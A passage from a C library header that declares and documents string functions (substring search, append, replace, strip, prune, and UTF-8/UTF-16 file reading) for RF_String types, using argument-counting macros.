@isinherited{StringX}\n// Initializes the given String with the substring located after (and not including) the after substring inside the parameter string. If the substring is not located the function returns false.\n// @note The given String needs to be deinitialized by the user\n// @lmsFunction\n// @param[in] thisstr The parameter string from which the substring will be formed. @inhtype{String,StringX}\n// @param[in] after The substring to search for inside the parameter string. @inhtype{String,StringX} @tmpSTR\n// @param[out] out Pass a reference to a String inside which the substring of the original string after the @c after substring will be placed\n// @param options \\rfoptional{0} Bitflag options denoting the method with which to search for the substring literals inside the string. Give 0 for the defaults.\n// Can have values:\n// + @c RF_CASE_IGNORE: If you want to search for any occurence of the substring disregarding CAPS or not.\n//     Default search option is to @b match the case. For now this works only for characters of the english language.\n// + @c RF_MATCH_WORD: If you to find only exact matches of the substring. For example an exact search for @e \"HELLO\" in the string\n//     @e \"HELLOWORLD\" would find nothing. Default is with this flag off.\n// @return Returns true for success and false if the substring is not found in the parameter string.\n#if defined(RF_IAMHERE_FOR_DOXYGEN)\ni_DECLIMEX_ char rfString_After(void* thisstr,void* after,RF_String* out,const char options);\n#else\ni_DECLIMEX_ char i_rfString_After(void* thisstr,void* after,RF_String* out,const char* options);\n    #ifdef RF_OPTION_DEFAULT_ARGUMENTS\n        #define rfString_After(...) RF_SELECT_FUNC_IF_NARGGT(i_NPSELECT_RF_STRING_AFTER,4,__VA_ARGS__)\n        #define i_NPSELECT_RF_STRING_AFTER1(...) RF_COMPILE_ERROR(\"message \\\"Ileggal Arguments Number: Function rfString_After() accepts from 3 to 4 arguments\\\"\")\n        #define i_NPSELECT_RF_STRING_AFTER0(...) RF_SELECT_FUNC(i_SELECT_RF_STRING_AFTER,__VA_ARGS__)\n        #define i_SELECT_RF_STRING_AFTER3(i_THISSTR_,i_AFTERSTR_,i_OUTSTR_) i_rfLMSX_WRAP4(char,i_rfString_After,i_THISSTR_,i_AFTERSTR_,i_OUTSTR_,i_RFI8_(0))\n        #define i_SELECT_RF_STRING_AFTER4(i_THISSTR_,i_AFTERSTR_,i_OUTSTR_,i_OPTIONS_) i_rfLMSX_WRAP4(char,i_rfString_After,i_THISSTR_,i_AFTERSTR_,i_OUTSTR_,i_RFI8_(i_OPTIONS_))\n        #define i_SELECT_RF_STRING_AFTER2(...) RF_COMPILE_ERROR(\"message \\\"Ileggal Arguments Number: Function rfString_After() accepts from 3 to 4 arguments\\\"\")\n        #define i_SELECT_RF_STRING_AFTER1(...) RF_COMPILE_ERROR(\"message \\\"Ileggal Arguments Number: Function rfString_After() accepts from 3 to 4 arguments\\\"\")\n        #define i_SELECT_RF_STRING_AFTER0(...) RF_COMPILE_ERROR(\"message \\\"Ileggal Arguments Number: Function rfString_After() accepts from 3 to 4 arguments\\\"\")\n    #else\n        #define rfString_After(i_THISSTR_,i_AFTERSTR_,i_OUTSTR_,i_OPTIONS_) i_rfLMSX_WRAP4(char,i_rfString_After,i_THISSTR_,i_AFTERSTR_,i_OUTSTR_,i_RFI8_(i_OPTIONS_))\n    #endif\n#endif\n\n// @memberof RF_String\n// @brief Initialize a string after the first of the given substrings found\n//\n// @isinherited{StringX}\n// Initializes the given String with the substring located after (and not including) the after substring inside the parameter string. If the substring is not located the function returns false.\n// The parameters that have to be given as variable argument <b>must</b> be of type RF_String* or RF_StringX* or even\n// string initializes with the temporary string macro\n// @rfNoDefArgsWarn1\n// @warning if the library has been compiled with @c DEFAULT_ARGUMENTS off then arguments @c options and @c parN are actually pointers\n// to @c char and @c unsigned char respectively\n// @lmsFunction\n// @param[in] thisstr The parameter string from which the substring will be formed. @inhtype{String,StringX}\n// @param[out] out Pass a reference to a String inside which the substring of the original string\n// after the found substring will be placed.\n// @param options \\rfoptional{0} Bitflag options denoting the method with which to search for the substring literals inside the string. Give 0 for the defaults.\n// Can have values:\n// + @c RF_CASE_IGNORE: If you want to search for any occurence of the substring disregarding CAPS or not.\n//     Default search option is to @b match the case. For now this works only for characters of the english language.\n// + @c RF_MATCH_WORD: If you to find only exact matches of the substring. For example an exact search for @e \"HELLO\" in the string\n//     @e \"HELLOWORLD\" would find nothing. Default is with this flag off.\n// @param parN The number of substrings to search for.\n// @param ... The substrings to search for. @inhtype{String,StringX} @tmpSTR\n// @extraVarArgLim\n// @return Returns true for success and false if the substring is not found in the parameter string.\n#ifdef RF_IAMHERE_FOR_DOXYGEN\ni_DECLIMEX_ char rfString_Afterv(void* thisstr,RF_String* out,const char options,const unsigned char parN,...);\n#endif\n#ifdef RF_OPTION_DEFAULT_ARGUMENTS\ni_DECLIMEX_ char i_rfString_Afterv(void* thisstr,RF_String* out,const char* options,const unsigned char* parN,...);\n    #define rfString_Afterv(...)  RF_SELECT_FUNC_IF_NARGGT(i_NPSELECT_RF_STRING_AFTERV,4,__VA_ARGS__)\n    #define i_NPSELECT_RF_STRING_AFTERV1(...)  RF_SELECT_FUNC_IF_NARGGT2(i_LIMSELECT_RF_STRING_AFTERV,18,__VA_ARGS__)\n    #define i_NPSELECT_RF_STRING_AFTERV0(...) RF_COMPILE_ERROR(\"message \\\"Ileggal Arguments Number: Function rfString_Afterv() needs to receive more than 4 arguments\\\"\")\n    #define i_LIMSELECT_RF_STRING_AFTERV1(...) RF_COMPILE_ERROR(\"message \\\"Extra Arguments Limit Reached: Function rfString_Afterv() received more extra arguments than the limit permits\\\"\")\n    #define i_LIMSELECT_RF_STRING_AFTERV0(...) RF_SELECT_FUNC(i_SELECT_RF_STRING_AFTERV,__VA_ARGS__)\n    #define i_SELECT_RF_STRING_AFTERV5(i_ARG1_,i_ARG2_,i_ARG3_,i_ARG4_,...) i_rfLMSX_WRAP5(char,i_rfString_Afterv,i_ARG1_,i_ARG2_,i_RFI8_((i_ARG3_),i_RFUI8_(i_ARG4_),__VA_ARGS__)\n    #define i_SELECT_RF_STRING_AFTERV6(i_ARG1_,i_ARG2_,i_ARG3_,i_ARG4_,...) i_rfLMSX_WRAP6(char,i_rfString_Afterv,i_ARG1_,i_ARG2_,i_RFI8_((i_ARG3_),i_RFUI8_(i_ARG4_),__VA_ARGS__)\n    #define i_SELECT_RF_STRING_AFTERV7(i_ARG1_,i_ARG2_,i_ARG3_,i_ARG4_,...) i_rfLMSX_WRAP7(char,i_rfString_Afterv,i_ARG1_,i_ARG2_,i_RFI8_((i_ARG3_),i_RFUI8_(i_ARG4_),__VA_ARGS__)\n    #define i_SELECT_RF_STRING_AFTERV8(i_ARG1_,i_ARG2_,i_ARG3_,i_ARG4_,...) i_rfLMSX_WRAP8(char,i_rfString_Afterv,i_ARG1_,i_ARG2_,i_RFI8_((i_ARG3_),i_RFUI8_(i_ARG4_),__VA_ARGS__)\n    #define i_SELECT_RF_STRING_AFTERV9(i_ARG1_,i_ARG2_,i_ARG3_,i_ARG4_,...) i_rfLMSX_WRAP9(char,i_rfString_Afterv,i_ARG1_,i_ARG2_,i_RFI8_((i_ARG3_),i_RFUI8_(i_ARG4_),__VA_ARGS__)\n    #define i_SELECT_RF_STRING_AFTERV10(i_ARG1_,i_ARG2_,i_ARG3_,i_ARG4_,...) i_rfLMSX_WRAP10(char,i_rfString_Afterv,i_ARG1_,i_ARG2_,i_RFI8_((i_ARG3_),i_RFUI8_(i_ARG4_),__VA_ARGS__)\n    #define i_SELECT_RF_STRING_AFTERV11(i_ARG1_,i_ARG2_,i_ARG3_,i_ARG4_,...) i_rfLMSX_WRAP11(char,i_rfString_Afterv,i_ARG1_,i_ARG2_,i_RFI8_((i_ARG3_),i_RFUI8_(i_ARG4_),__VA_ARGS__)\n    #define i_SELECT_RF_STRING_AFTERV12(i_ARG1_,i_ARG2_,i_ARG3_,i_ARG4_,...) i_rfLMSX_WRAP12(char,i_rfString_Afterv,i_ARG1_,i_ARG2_,i_RFI8_((i_ARG3_),i_RFUI8_(i_ARG4_),__VA_ARGS__)\n    #define i_SELECT_RF_STRING_AFTERV13(i_ARG1_,i_ARG2_,i_ARG3_,i_ARG4_,...) i_rfLMSX_WRAP13(char,i_rfString_Afterv,i_ARG1_,i_ARG2_,i_RFI8_((i_ARG3_),i_RFUI8_(i_ARG4_),__VA_ARGS__)\n    #define i_SELECT_RF_STRING_AFTERV14(i_ARG1_,i_ARG2_,i_ARG3_,i_ARG4_,...) i_rfLMSX_WRAP14(char,i_rfString_Afterv,i_ARG1_,i_ARG2_,i_RFI8_((i_ARG3_),i_RFUI8_(i_ARG4_),__VA_ARGS__)\n    #define i_SELECT_RF_STRING_AFTERV15(i_ARG1_,i_ARG2_,i_ARG3_,i_ARG4_,...) i_rfLMSX_WRAP15(char,i_rfString_Afterv,i_ARG1_,i_ARG2_,i_RFI8_((i_ARG3_),i_RFUI8_(i_ARG4_),__VA_ARGS__)\n    #define i_SELECT_RF_STRING_AFTERV16(i_ARG1_,i_ARG2_,i_ARG3_,i_ARG4_,...) i_rfLMSX_WRAP16(char,i_rfString_Afterv,i_ARG1_,i_ARG2_,i_RFI8_((i_ARG3_),i_RFUI8_(i_ARG4_),__VA_ARGS__)\n    #define i_SELECT_RF_STRING_AFTERV17(i_ARG1_,i_ARG2_,i_ARG3_,i_ARG4_,...) i_rfLMSX_WRAP17(char,i_rfString_Afterv,i_ARG1_,i_ARG2_,i_RFI8_((i_ARG3_),i_RFUI8_(i_ARG4_),__VA_ARGS__)\n    #define i_SELECT_RF_STRING_AFTERV18(i_ARG1_,i_ARG2_,i_ARG3_,i_ARG4_,...) i_rfLMSX_WRAP18(char,i_rfString_Afterv,i_ARG1_,i_ARG2_,i_RFI8_((i_ARG3_),i_RFUI8_(i_ARG4_),__VA_ARGS__)\n#else\n    char rfString_Afterv(void* thisstr,RF_String* out,const char* options,const unsigned char* parN,...);\n#endif\n\n\n\n// @}\n/*------------------------------------------------------------------------ RF_String manipulation functions-------------------------------------------------------------------------------*/\n// @name String Manipulation\n// @{\n\n// @memberof RF_String\n// @opadd\n// @brief Appends a string to this one\n//\n// @notinherited{StringX}\n// @lmsFunction\n// @param thisstr The string to append to\n// @param other The string to add to this string. @inhtype{String,StringX} @tmpSTR\n#if defined(RF_IAMHERE_FOR_DOXYGEN)\ni_DECLIMEX_ void rfString_Append(RF_String* thisstr,void* other);\n#else\ni_DECLIMEX_ void i_rfString_Append(RF_String* thisstr,void* other);\n#define rfString_Append(i_THISSTR_,i_OTHERSTR_) i_rfLMS_WRAP2(void,i_rfString_Append,i_THISSTR_,i_OTHERSTR_)\n#endif\n\n// @memberof RF_String\n// @opadd\n// @brief Appends an integer to the string\n//\n// @notinherited{StringX}\n// @param thisstr The string to append to\n// @param i The integer to add\ni_DECLIMEX_ void rfString_Append_i(RF_String* thisstr,const int32_t i);\n\n// @memberof RF_String\n// @opadd\n// @brief Appends a float to the string\n//\n// @notinherited{StringX}\n// @param thisstr The string to append to\n// @param f The float to add\ni_DECLIMEX_ void rfString_Append_f(RF_String* thisstr,const float f);\n\n// @memberof RF_String\n// @brief Prepends the parameter String to this string\n//\n// @notinherited{StringX}\n// @lmsFunction\n// @param thisstr The string to prepend to\n// @param other The string to prepend to this string. @inhtype{String,StringX} @tmpSTR\n#if defined(RF_IAMHERE_FOR_DOXYGEN)\ni_DECLIMEX_ void rfString_Prepend(RF_String* thisstr,void* other);\n#else\ni_DECLIMEX_ void i_rfString_Prepend(RF_String* thisstr,void* other);\n#define rfString_Prepend(i_THISSTR_,i_OTHERSTR_)    i_rfLMS_WRAP2(void,i_rfString_Prepend,i_THISSTR_,i_OTHERSTR_)\n#endif\n\n// @memberof RF_String\n// @brief Removes occurences of a substring\n//\n// @isinherited{StringX}\n// Removes a @c number of occurences of a substring from this string, that agree with the given parameters.\n// <b>Does not</b> reallocate buffer size\n// @lmsFunction\n// @param thisstr This string we want to remove from. @inhtype{String,StringX}\n// @param rstr The string whose occurences we need to locate and remove from the current string. @inhtype{String,StringX} @tmpSTR\n// @param number \\rfoptional{0}. The number of occurences to remove. Give @e 0 for all the occurences.\n// If the given number is bigger than the actual number of occurences, still all occurences get replaced.\n// @param options \\rfoptional{0}. Bitflag options denoting some options for the search. Give 0 for the defaults.\n// Can have values:\n// + @c RF_CASE_IGNORE: If you want the found substring to ignore the case and returns success for any occurence of the string in any case.\n//     Default search option is to @b match the case. For now this works only for characters of the english language.\n// + @c RF_MATCH_WORD: If you want the found substring to be exact. For example an exact search for @e \"HELLO\" in the string\n//     @e \"HELLOWORLD\" would return a failure. Default search is to return any found substring.\n// @return Returns true in case of success, and false if the substring was not even found inside the string\n#if defined(RF_IAMHERE_FOR_DOXYGEN)\ni_DECLIMEX_ char rfString_Remove(void* thisstr,void* rstr,uint32_t number,const char options);\n#else\n    i_DECLIMEX_ char i_rfString_Remove(void* thisstr,void* rstr,uint32_t* number,const char* options);\n    #ifdef RF_OPTION_DEFAULT_ARGUMENTS\n        #define rfString_Remove(...) RF_SELECT_FUNC_IF_NARGGT(i_NPSELECT_RF_STRING_REMOVE,4,__VA_ARGS__)\n        #define i_NPSELECT_RF_STRING_REMOVE1(...) RF_COMPILE_ERROR(\"message \\\"Illegal Arguments Number: Function rfString_Remove() accepts from 2 to 4 arguments\\\"\")\n        #define i_NPSELECT_RF_STRING_REMOVE0(...) RF_SELECT_FUNC(i_SELECT_RF_STRING_REMOVE,__VA_ARGS__)\n        #define i_SELECT_RF_STRING_REMOVE2(i_THISSTR_,i_REPSTR_) i_rfLMSX_WRAP4(char,i_rfString_Remove,i_THISSTR_,i_REPSTR_,i_RFUI32_(0),i_RFI8_(0))\n        #define i_SELECT_RF_STRING_REMOVE3(i_THISSTR_,i_REPSTR_,i_NUMBER_) i_rfLMSX_WRAP4(char,i_rfString_Remove,i_THISSTR_,i_REPSTR_,i_RFUI32_(i_NUMBER_),i_RFI8_(0))\n        #define i_SELECT_RF_STRING_REMOVE4(i_THISSTR_,i_REPSTR_,i_NUMBER_,i_OPTIONS_) \\\n            i_rfLMSX_WRAP4(char,i_rfString_Remove,i_THISSTR_,i_REPSTR_,i_RFUI32_(i_NUMBER_),i_RFI8_(i_OPTIONS_))\n        #define i_SELECT_RF_STRING_REMOVE1(...) RF_COMPILE_ERROR(\"message \\\"Illegal Arguments Number: Function rfString_Remove() accepts from 2 to 4 arguments\\\"\")\n        #define i_SELECT_RF_STRING_REMOVE0(...) RF_COMPILE_ERROR(\"message \\\"Illegal Arguments Number: Function rfString_Remove() accepts from 2 to 4 arguments\\\"\")\n    #else\n        #define rfString_Remove(i_THISSTR_,i_REPSTR_,i_NUMBER_,i_OPTIONS_) i_rfLMSX_WRAP4(char,i_rfString_Remove,i_THISSTR_,i_REPSTR_,i_RFUI32_(i_NUMBER_),i_RFI8_(i_OPTIONS_))\n    #endif\n#endif\n\n// @memberof RF_String\n// @brief Removes all of the characters of the string except those specified\n//\n// This string is scanned for the existence of each characters inside the given\n// @c keepstr. Any character found there is kept in the original string. All other\n// characters are removed.\n// @isinherited{StringX}\n// @lmsFunction\n// @param thisstr The string to remove from @inhtype{String,StringX}\n// @param keepstr A string all of whose characters will be kept in @c thisstr @inhtype{String,StringX} @tmpSTR\n#ifdef RF_IAMHERE_FOR_DOXYGEN\ni_DECLIMEX_ void rfString_KeepOnly(void* thisstr,void* keepstr);\n#else\ni_DECLIMEX_ void i_rfString_KeepOnly(void* thisstr,void* keepstr);\n#define rfString_KeepOnly(i_THISSTR_,I_KEEPSTR_)    i_rfLMS_WRAP2(void,i_rfString_KeepOnly,i_THISSTR_,I_KEEPSTR_)\n#endif\n\n// @memberof RF_String\n// @brief Removes the first n characters from the start of the string.\n//\n// @isinherited{StringX}\n// @param thisstr The string to prune from. @inhtype{String,StringX}\n// @param n The number of characters to remove. Must be a positive integer.\n// @return True if n characters got removed and false if there are not enough characters to remove. (in which case the string becomes empty)\ni_DECLIMEX_ char rfString_PruneStart(void* thisstr,uint32_t n);\n\n// @memberof RF_String\n// @brief Removes the last n characters from the end of the string\n//\n// @isinherited{StringX}\n// @param thisstr The string to prune from. @inhtype{String,StringX}\n// @param n The number of characters to remove. Must be a positive integer.\n// @return True if n characters got removed and false if there are not enough characters to remove. (in which case the string becomes empty)\ni_DECLIMEX_ char rfString_PruneEnd(void* thisstr,uint32_t n);\n\n// @memberof RF_String\n// @brief Removes characters from one point of the string to another going backwards\n//\n// @isinherited{StringX}\n// Removes n characters from the position p (including the character at p) of the string counting backwards. If there is no space to do so, nothing is done and returns false.\n// @param thisstr The string to prune from. @inhtype{String,StringX}\n// @param p The position to remove the characters from. Must be a positive integer. Indexing starts from zero.\n// @param n The number of characters to remove from the position and back.Must be a positive integer.\n// @return Returns true in case of succesfull removal and false in any other case.\ni_DECLIMEX_ char rfString_PruneMiddleB(void* thisstr,uint32_t p,uint32_t n);\n// @memberof RF_String\n// @brief Removes characters from one point of the string to another going forward\n//\n// @isinherited{StringX}\n// Removes n characters from the position p (including the character at p) of the string counting forwards. If there is no space, nothing is done and returns false.\n// @param thisstr The string to prune from. @inhtype{String,StringX}\n// @param p The position to remove the characters from. Must be a positive integer. Indexing starts from zero.\n// @param n The number of characters to remove from the position and on. Must be a positive integer.\n// @return Returns true in case of succesfull removal and false in any other case.\ni_DECLIMEX_ char rfString_PruneMiddleF(void* thisstr,uint32_t p,uint32_t n);\n\n\n// @memberof RF_String\n// @brief Replace all occurences of a String\n//\n// @notinherited{StringX}\n// Replaces all of the specified sstr substring from the String with rstr and reallocates size, unless the new size is smaller\n// @lmsFunction\n// @param thisstr The string in which to do the replacing\n// @param sstr The string to locate and replace from the current string. @inhtype{String,StringX} @tmpSTR\n// @param rstr The string with which to replace it. @inhtype{String,StringX} @tmpSTR\n// @param number \\rfoptional{0}. The number of occurences to replace. Give @e 0 for all the occurences.\n// If the given number is bigger than the actual number of occurences, still all occurences get replaced.\n// @param options \\rfoptional{0}. Bitflag options denoting some options for the string to replace. Give 0 for the defaults. Can have values:\n// + @c RF_CASE_IGNORE: If you want to replace any occurence of the substring disregarding CAPS or not.\n//     Default search option is to @b match the case. For now this works only for characters of the english language.\n// + @c RF_MATCH_WORD: If you to replace only exact matches of the substring. For example an exact replace for @e \"HELLO\" in the string\n//     @e \"HELLOWORLD\" would replace nothing. Default is with this flag off.\n// @return Returns true in case of success, and false if the substring was not even found inside the string\n#if defined(RF_IAMHERE_FOR_DOXYGEN)\ni_DECLIMEX_ char rfString_Replace(RF_String* thisstr,void* sstr,void* rstr,const uint32_t number,const char options);\n#else\ni_DECLIMEX_ char i_rfString_Replace(RF_String* thisstr,void* sstr,void* rstr,const uint32_t* number,const char* options);\n    #ifdef RF_OPTION_DEFAULT_ARGUMENTS\n        #define rfString_Replace(...) RF_SELECT_FUNC_IF_NARGGT(i_NPSELECT_RF_STRING_REPLACE,5,__VA_ARGS__)\n        #define i_NPSELECT_RF_STRING_REPLACE1(...) RF_COMPILE_ERROR(\"message \\\"Illegal Arguments Number: Function rfString_Replace() accepts from 3 to 5 arguments\\\"\")\n        #define i_NPSELECT_RF_STRING_REPLACE0(...) RF_SELECT_FUNC(i_SELECT_RF_STRING_REPLACE,__VA_ARGS__)\n        #define i_SELECT_RF_STRING_REPLACE3(i_THISSTR_,i_SEARCHSTR_,i_REPSTR_) i_rfLMSX_WRAP5(char,i_rfString_Replace,i_THISSTR_,i_SEARCHSTR_,i_REPSTR_,i_RFUI32_(0),i_RFI8_(0))\n        #define i_SELECT_RF_STRING_REPLACE4(i_THISSTR_,i_SEARCHSTR_,i_REPSTR_,i_NUMBER_) \\\n            i_rfLMSX_WRAP5(char,i_rfString_Replace,i_THISSTR_,i_SEARCHSTR_,i_REPSTR_,i_RFUI32_(i_NUMBER_),i_RFI8_(0))\n        #define i_SELECT_RF_STRING_REPLACE5(i_THISSTR_,i_SEARCHSTR_,i_REPSTR_,i_NUMBER_,i_OPTIONS_) \\\n            i_rfLMSX_WRAP5(char,i_rfString_Replace,i_THISSTR_,i_SEARCHSTR_,i_REPSTR_,i_RFUI32_(i_NUMBER_),i_RFI8_(i_OPTIONS_))\n        #define i_SELECT_RF_STRING_REPLACE2(...) RF_COMPILE_ERROR(\"message \\\"Illegal Arguments Number: Function rfString_Replace() accepts from 3 to 5 arguments\\\"\")\n        #define i_SELECT_RF_STRING_REPLACE1(...) RF_COMPILE_ERROR(\"message \\\"Illegal Arguments Number: Function rfString_Replace() accepts from 3 to 5 arguments\\\"\")\n        #define i_SELECT_RF_STRING_REPLACE0(...) RF_COMPILE_ERROR(\"message \\\"Illegal Arguments Number: Function rfString_Replace() accepts from 3 to 5 arguments\\\"\")\n    #else\n        #define rfString_Replace(i_THISSTR_,i_SEARCHSTR_,i_REPSTR_,i_NUMBER_,i_OPTIONS_) \\\n            i_rfLMSX_WRAP5(char,i_rfString_Replace,i_THISSTR_,i_SEARCHSTR_,i_REPSTR_,i_RFUI32_(i_NUMBER_),i_RFI8_(i_OPTIONS_))\n    #endif\n#endif\n\n// @memberof RF_String\n// @brief Removes all characters of a substring only from the start of the String\n//\n// @isinherited{StringX}\n// Searches for and removes each individual character inside the @c sub substring from the\n// given String @c thisstr starting from the beginning of the String and until it finds any other character\n// @lmsFunction\n// @param thisstr The string to search in. @inhtype{String,StringX}\n// @param sub The substring to search for. @inhtype{String,StringX} @tmpSTR\n// @return Returns true for success and false if none of @c sub characters were found inside the given String\n#if defined(RF_IAMHERE_FOR_DOXYGEN)\n    i_DECLIMEX_ char rfString_StripStart(void* thisstr,void* sub);\n#else\n    i_DECLIMEX_ char i_rfString_StripStart(void* thisstr,void* sub);\n    #define rfString_StripStart(i_THISSTR_,i_SUBSTR_) i_rfLMSX_WRAP2(char,i_rfString_StripStart,i_THISSTR_,i_SUBSTR_)\n#endif\n// @memberof RF_String\n// @brief Removes all characters of a substring starting from the end of the String\n//\n// @isinherited{StringX}\n// Searches for and removes each individual character inside the @c sub substring from the\n// given String @c thisstr starting from the end of the String and until it finds any other character\n// @lmsFunction\n// @param thisstr The string to search in. @inhtype{String,StringX}\n// @param sub The substring to search for. @inhtype{String,StringX} @tmpSTR\n// @return Returns true for success and false if none of @c sub characters were found inside the given String\n#if defined(RF_IAMHERE_FOR_DOXYGEN)\n    i_DECLIMEX_ char rfString_StripEnd(void* thisstr,void* sub);\n#else\n    i_DECLIMEX_ char i_rfString_StripEnd(void* thisstr,void* sub);\n    #define rfString_StripEnd(i_THISSTR_,i_SUBSTR_) i_rfLMSX_WRAP2(char,i_rfString_StripEnd,i_THISSTR_,i_SUBSTR_)\n#endif\n\n// @memberof RF_String\n// @brief Removes all characters of a substring from both ends of the given String\n//\n// @isinherited{StringX}\n// Searches for and removes each individual character inside the @c sub substring from the\n// given String @c thisstr starting from both the beginning and the end of the String and until it finds any other character\n// @lmsFunction\n// @param thisstr The string to search in. @inhtype{String,StringX}\n// @param sub The substring to search for. @inhtype{String,StringX} @tmpSTR\n// @return Returns true for success and false if none of @c sub characters were found inside the given String\n#if defined(RF_IAMHERE_FOR_DOXYGEN)\n    i_DECLIMEX_ char rfString_Strip(void* thisstr,void* sub);\n#else\n    i_DECLIMEX_ char i_rfString_Strip(void* thisstr,void* sub);\n    #define rfString_Strip(i_THISSTR_,i_SUBSTR_) i_rfLMSX_WRAP2(char,i_rfString_Strip,i_THISSTR_,i_SUBSTR_)\n#endif\n// @}\n/*------------------------------------------------------------------------ RF_String File Descriptor I/O functions-------------------------------------------------------------------------------*/\n// @name String File Descriptor I/O functions\n// @{\n\n// @memberof RF_String\n// @brief Allocates and returns a string from UTF-8 file parsing\n//\n// @notinherited{StringX}\n// Read the file stream @c f until either a newline character or the EOF is reached and saves it as an RF_String\n// The file's encoding must be UTF-8.If for some reason (like EOF reached) no string can be read then null is returned\n// Given file character stream must be encoded in UTF-8. A check for valide sequence of bytes is performed.\n// @param f A valid and open file pointer in read mode from which to read the string. The file's encoding must be UTF-8.A check for valide sequence of bytes is performed.\n// @param[out] eof Pass a pointer to a char to receive a true or false value in case the end of file was reached with this initialization\n// @return The initialized string or null pointer in case of failure to read the file, or unexpected data (non-UTF8 encoded string)\ni_DECLIMEX_ RF_String* rfString_Create_fUTF8(FILE* f, char* eof);\n// @memberof RF_String\n// @brief Initializes a string from UTF-8 file parsing\n//\n// @notinherited{StringX}\n// Read the file stream @c f until either a newline character or the EOF is reached and saves it as an RF_String\n// The file's encoding must be UTF-8.If for some reason (like EOF reached) no string can be read then null is returned\n// Given file character stream must be encoded in UTF-8. A check for valide sequence of bytes is performed.\n// @param str The extended string to initialize\n// @param f A valid and open file pointer in read mode from which to read the string. The file's encoding must be UTF-8.A check for valide sequence of bytes is performed.\n// @param[out] eof Pass a pointer to a char to receive a true or false value in case the end of file was reached with this initialization\n// @return Returns either a positive number for succesfull initialization that represents the bytes read from the file.\n// If there was a problem an error is returned. Possible errors are any of those that @ref rfFReadLine_UTF8() can produce.\ni_DECLIMEX_ int32_t rfString_Init_fUTF8(RF_String* str,FILE* f, char* eof);\n\n// @memberof RF_String\n// @brief Assigns to a string from UTF-8 file parsing\n//\n// @notinherited{StringX}\n// Read the file stream @c f until either a newline character or the EOF is reached and assigns it to an RF_StringX\n// The file's encoding must be UTF-8.If for some reason (like EOF reached) no string can be read then null is returned\n// Given file character stream must be encoded in UTF-8. A check for valide sequence of bytes is performed.\n// @param str The extended string to assign to\n// @param f A valid and open file pointer in read mode from which to read the string. The file's encoding must be UTF-8.A check for valide sequence of bytes is performed.\n// @param[out] eof Pass a pointer to a char to receive a true or false value in case the end of file was reached with this assignment\n// @return Returns either a positive number for succesfull assignment that represents the bytes read from the file.\n// If there was a problem an error is returned. Possible errors are any of those that @ref rfFReadLine_UTF8() can produce.\ni_DECLIMEX_ int32_t rfString_Assign_fUTF8(RF_String* str,FILE* f, char* eof);\n// @memberof RF_String\n// @brief Appends to a string from UTF-8 file parsing\n//\n// @notinherited{StringX}\n// Read the file stream @c f until either a newline character or the EOF is reached and appends it to an RF_StringX\n// The file's encoding must be UTF-8.If for some reason (like EOF reached) no string can be read then null is returned\n// Given file character stream must be encoded in UTF-8. A check for valid sequence of bytes is performed.\n// @param str The extended string to append to\n// @param f A valid and open file pointer in read mode from which to read the string. The file's encoding must be UTF-8.A check for valide sequence of bytes is performed.\n// @param[out] eof Pass a pointer to a char to receive a true or false value in case the end of file was reached with this appending\n// @return Returns either a positive number for succesfull appending that represents the bytes read from the file.\n// If there was a problem an error is returned. Possible errors are any of those that @ref rfFReadLine_UTF8() can produce.\ni_DECLIMEX_ int32_t rfString_Append_fUTF8(RF_String* str,FILE* f, char* eof);\n\n// @memberof RF_String\n// @cppnotctor\n// @brief Allocates and returns a string from UTF-16 file parsing\n//\n// @notinherited{StringX}\n// Read the file stream @c f until either a newline character or the EOF is reached and saves it as an RF_StringX\n// The file's encoding must be UTF-16.If for some reason (like EOF reached) no string can be read then null is returned. A check for a valid sequence of bytes is performed.\n// @param f A valid and open file pointer in read mode from which to read the string. The file's encoding must be UTF-16.\n// @param endianess A flag that determines in what endianess the UTF-16 file is encoded in. Possible values here are\n// @c RF_LITTLE_ENDIAN and @c RF_BIG_ENDIAN.\n// @param[out] eof Pass a pointer to a char to receive a true or false value in case the end of file was reached with this initialization\n// @return The initialized string or null pointer in case of failure to read the file\ni_DECLIMEX_ RF_String* rfString_Create_fUTF16(FILE* f, char endianess,char* eof);\n// @memberof RF_String\n// @brief Initializes a string from UTF-16 file parsing\n//\n// @notinherited{StringX}\n// Read the file stream @c f until either a newline character or the EOF is reached and saves it as an RF_StringX\n// The file's encoding must be UTF-16.If for some reason (like EOF reached) no string can be read then null is returned. A check for a valid sequence of bytes is performed.\n// @param str The extended string to initialize\n// @param f A valid and open file pointer in read mode from which to read the string. The file's encoding must be UTF-16.\n// @param endianess A flag that determines in what endianess the UTF-16 file is encoded in. Possible values here are\n// @c RF_LITTLE_ENDIAN and @c RF_BIG_ENDIAN.\n// @param[out] eof Pass a pointer to a char to receive a true or false value in case the end of file was reached with this initialization\n// @return Returns either a positive number for succesfull initialization that represents the bytes read from the file.\n// If there was a problem an error is returned. Possible errors are any of those that @ref rfFReadLine_UTF16LE() can produce.\ni_DECLIMEX_ int32_t rfString_Init_fUTF16(RF_String* str,FILE* f, char endianess,char* eof);\n\n// @memberof RF_String\n// @brief Appends the contents of a UTF-16 file a String\n//\n// @notinherited{StringX}\n// Read the file stream @c f until either a newline character or the EOF is reached and appends it to an RF_StringX\n// The file's encoding must be UTF-16.If for some reason (like EOF reached) no string can be read then null is returned. A check for a valid sequence of bytes is performed.\n// @param str The extended string to append to\n// @param f A valid and open file pointer in read mode from which to read the string. The file's encoding must be UTF-16.\n// @param endianess A flag that determines in what endianess the UTF-16 file is encoded in. Possible values here are\n// @c RF_LITTLE_ENDIAN and @c RF_BIG_ENDIAN.\n// @param[out] eof Pass a pointer to a char to receive a true or false value in case the end of file was reached with this appending\n// @return Returns either a positive number for succesfull appending that represents the bytes read from the file.\n// If there was a problem an error is returned. Possible errors are any of those that @ref rfFReadLine_UTF16LE() can produce.\ni_DECLIMEX_ int32_t rfString_Append_fUTF16(RF_String* str,FILE* f, char endianess,char* eof);\n// @memberof RF_String\n// @brief Assigns the contents of a UTF-16 file to an already initialized string\n//\n// @notinherited{StringX}\n// Read the file stream @c f until either a newline character or the EOF is reached and assigns it to an RF_StringX\n// The file's encoding must be UTF-16.If for some reason (like EOF reached) no string can be read then null is returned. A check for a valid sequence of bytes is performed.\n// @param str The extended string to assign to\n// @param f A valid and open file pointer in read mode from which to read the string. The file's encoding must be UTF-16.\n// @param endianess A flag that determines in what endianess the UTF-16 file is encoded in. Possible values here are\n// @c RF_LITTLE_ENDIAN and @c RF_BIG_ENDIAN.\n// @param[out] eof Pass a pointer to a char to receive a true or false value in case the end of file was reached with this assignment\n// @return Returns either a positive number for succesfull assignment that represents the bytes read from the file.\n// If there was a problem an error is returned. Possible errors are any of those that @ref rfFReadLine_UTF16LE() can produce.\ni_DECLIMEX_ int32_t 